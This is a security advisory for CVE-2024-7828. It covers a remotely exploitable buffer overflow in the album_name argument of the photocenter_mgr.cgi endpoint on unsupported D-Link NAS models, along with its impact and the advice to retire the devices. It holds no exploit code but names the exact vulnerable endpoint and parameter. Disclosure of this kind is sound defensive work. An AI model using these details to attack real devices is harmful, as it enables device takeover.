CVE-2024-7828
Overview
This vulnerability is a buffer overflow caused by improper handling of the album_name argument within the cgi_set_cover function of the /cgi-bin/photocenter_mgr.cgi component. The flaw arises from insufficient bounds checking on user-supplied input, allowing memory corruption in the affected D-Link DNS-120 firmware and related models. The vulnerable code path processes HTTP CGI requests, specifically manipulating album metadata.
Vulnerability Description
** UNSUPPORTED WHEN ASSIGNED ** A vulnerability classified as critical was found in D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05 and DNS-1550-04 up to 20240814. This vulnerability affects the function cgi_set_cover of the file /cgi-bin/photocenter_mgr.cgi. The manipulation of the argument album_name leads to buffer overflow. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. NOTE: This vulnerability only affects products that are no longer supported by the maintainer. NOTE: Vendor was contacted early and confirmed that the product is end-of-life. It should be retired and replaced.
Impact
An attacker with network access and low privileges can remotely exploit this vulnerability without user interaction to execute arbitrary code, modify system behavior, or cause denial of service by crashing the device. The CVSS vector indicates no user interaction (UI:N) is required, and the attack complexity is low (AC:L), making exploitation feasible over the network. Successful exploitation could lead to full compromise of the device, impacting data confidentiality, integrity, and availability in environments relying on these NAS devices.
Solution
No official patches or updates are available as the affected D-Link products are end-of-life and unsupported. The vendor has confirmed product retirement and recommends discontinuing use and replacing the affected devices. For detailed information, refer to the advisory at https://vuldb.com/?id.274726. Organizations should prioritize decommissioning these models to mitigate exposure.
